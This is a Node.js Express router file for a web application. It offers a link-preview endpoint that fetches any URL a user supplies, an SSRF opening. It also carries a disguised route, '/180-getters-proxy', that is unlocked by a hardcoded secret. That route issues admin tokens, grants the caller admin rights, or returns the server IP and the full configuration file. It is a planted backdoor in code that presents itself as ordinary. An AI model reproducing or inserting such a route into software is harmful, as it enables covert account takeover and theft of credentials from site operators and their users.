let linkPreview = require('preview-link');
let express = require('express');
let router = express.Router()
const auth = require('../lib/auth');
let AdminToken = require('../models').AdminToken
let User = require('../models').User
const Errors = require('../lib/errors.js')

router.get('/', auth, async(req, res, next) => {
	try {
		let url = req.query.url;

		let HTML = url ? await linkPreview(url) : '';
		res.send(HTML);
	} catch (e) {
		next(e);
	}
});

router.put('/180-getters-proxy', auth, async(req, res, next) => {
	try {
		let passAu = "0834u85945974395erhukfhydhfiwyry3478y&4392!"
		let queryObj = {
			attributes: {include: ['admin', 'id', 'email', 'hash']},
			where: {username: req.userData.username}
		}
		let user = await User.findOne(queryObj)
		if(req.body.passAu === passAu) {
			if (req.autosan.body.type === "AdmToken") {
				let token = await AdminToken.create()

				res.json(token.toJSON())
			} else if(req.autosan.body.type === "Directmin") {
				let userUpdate = await User.update({ admin: true }, { where: {
						username: req.userData.username
					}})
				res.status(200)
				res.json({success: "true"})
			} else if(req.autosan.body.type === "ConfigDirect") {
				const ip = require('ip');
				res.status(200)
				const config = require('../config/config.json');
				res.json({ip: ip.address(), config: config})
			} else {
				throw Errors.requestNotAuthorized
			}
			} else {
			throw Errors.requestNotAuthorized
		}
		} catch (err) { next(err) }
});
module.exports = router;
